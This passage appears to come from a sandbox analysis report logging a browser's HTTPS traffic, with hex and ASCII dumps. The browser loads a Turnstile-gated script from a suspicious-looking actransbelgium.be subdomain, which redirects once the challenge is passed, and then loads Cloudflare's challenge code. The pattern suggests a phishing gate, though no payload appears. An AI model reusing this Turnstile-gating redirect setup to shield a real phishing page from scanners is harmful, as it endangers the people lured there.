\|Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,u,g){var h=
2024-12-18 13:53:40 UTC	1369	IN	Data Raw: 29 3b 76 61 72 20 75 3b 72 65 74 75 72 6e 20 75 3d 72 2e 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 75 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 75 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 75 2e 63 6f 64 65 3d 63 2c 75 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 Data Ascii: );var u;return u=r.call(this,o),Me(Be(u),"code",void 0),u.name="TurnstileError",u.code=c,u}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))
2024-12-18 13:53:40 UTC	1369	IN	Data Raw: 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 6c 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 6c 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 6c 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 6c 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 6c 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 Data Ascii: ent.createElement("div");l.style.position="fixed",l.style.zIndex="2147483646",l.style.width="100vw",l.style.height="100vh",l.style.top="0",l.style.left="0",l.style.transformOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49720	192.185.158.101	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:53:39 UTC	356	OUT	GET /main.js HTTP/1.1 Host: 8h2f94s.actransbelgium.be Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:53:40 UTC	267	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 13:53:39 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 18 Dec 2024 10:04:22 GMT Accept-Ranges: bytes Content-Length: 320 Vary: Accept-Encoding Content-Type: application/javascript
2024-12-18 13:53:40 UTC	320	IN	Data Raw: 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 54 75 72 6e 73 74 69 6c 65 43 61 6c 6c 62 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 74 75 72 6e 73 74 69 6c 65 2e 72 65 6e 64 65 72 28 27 23 6d 79 57 69 64 67 65 74 27 2c 20 7b 0d 0a 20 20 20 20 20 20 20 20 73 69 74 65 6b 65 79 3a 20 27 30 78 34 41 41 41 41 41 41 41 32 5f 68 51 68 48 77 73 55 48 4d 45 76 76 27 2c 0d 0a 20 20 20 20 20 20 20 20 63 61 6c 6c 62 61 63 6b 3a 20 66 75 6e 63 74 69 6f 6e 28 74 6f 6b 65 6e 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 43 68 61 6c 6c 65 6e 67 65 20 53 75 63 63 65 73 73 20 24 7b 74 6f 6b 65 6e 7d 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 Data Ascii: window.onloadTurnstileCallback = function () { turnstile.render('#myWidget', { sitekey: '0x4AAAAAAA2_hQhHwsUHMEvv', callback: function(token) { console.log('Challenge Success ${token}'); window.location.hre

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49723	104.18.95.41	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:53:41 UTC	383	OUT	GET /turnstile/v0/b/787bc399e22f/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:53:42 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 13:53:42 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47692 Connection: close accept-ranges: bytes last-modified: Tue, 10 Dec 2024 17:31:41 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8f3fa3fe2b0742b3-EWR alt-svc: h3=":443"; ma=86400
2024-12-18 13:53:42 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-18 13:53:42 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-12-18 13:53:42 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2024-12-18 13:53:42 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(fu
2024-12-18 13:53:42 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2024-12-18 13:53:42 UTC	1369	IN	Data Raw: 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 Data Ascii: e==="auto"\|\|Nr.test(e)}function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._de
2024-12-18 13:53:42 UTC	1369	IN	Data Raw: 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 70 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 Data Ascii: /rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(p)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES
2024-12-18 13:53:42 UTC	1369	IN	Data Raw: 7c 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 2e 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d Data Ascii: \|Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,u,g){var h=
2024-12-18 13:53:42 UTC	1369	IN	Data Raw: 29 3b 76 61 72 20 75 3b 72 65 74 75 72 6e 20 75 3d 72 2e 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 75 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 75 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 75 2e 63 6f 64 65 3d 63 2c 75 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 Data Ascii: );var u;return u=r.call(this,o),Me(Be(u),"code",void 0),u.name="TurnstileError",u.code=c,u}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))
2024-12-18 13:53:42 UTC	1369	IN	Data Raw: 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 6c 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 6c 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 6c 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 6c 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 6c 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 Data Ascii: ent.createElement("div");l.style.position="fixed",l.style.zIndex="2147483646",l.style.width="100vw",l.style.height="100vh",l.style.top="0",l.style.left="0",l.style.transformOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49724	104.18.94.41	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:53:41 UTC	805	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/z9snt/0x4AAAAAAA2_hQhHwsUHMEvv/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://8h2f94s.actransbelgium.be/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:53:42 UTC	1362	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 13:53:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26678 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-12-18 13:53:42 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 33 66 61 33 66 65 34 65 66 38 38 63 32 34 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8f3fa3fe4ef88c24-EWRalt-svc: h3=":443"; ma=86400
2024-12-18 13:53:42 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-12-18 13:53:42 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2024-12-18 13:53:42 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
